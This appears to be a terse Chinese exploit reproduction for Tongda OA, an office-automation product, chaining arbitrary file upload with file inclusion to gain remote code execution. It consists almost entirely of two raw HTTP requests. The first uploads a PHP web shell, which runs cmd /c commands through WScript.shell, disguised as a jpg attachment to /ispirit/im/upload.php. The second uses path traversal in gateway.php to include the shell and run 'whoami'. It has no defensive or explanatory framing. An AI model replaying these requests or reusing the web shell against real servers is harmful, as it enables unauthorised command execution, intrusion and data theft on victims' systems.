通达OA任意文件上传+文件包含导致RCE漏洞复现

POST /ispirit/im/upload.php HTTP/1.1Host: 127.0.0.1Content-Length: 658Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"
2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"
123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"
1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg
<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--

POST /ispirit/interface/gateway.php HTTP/1.1Host: 127.0.0.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2006/342950372.jpg"}&cmd=whoami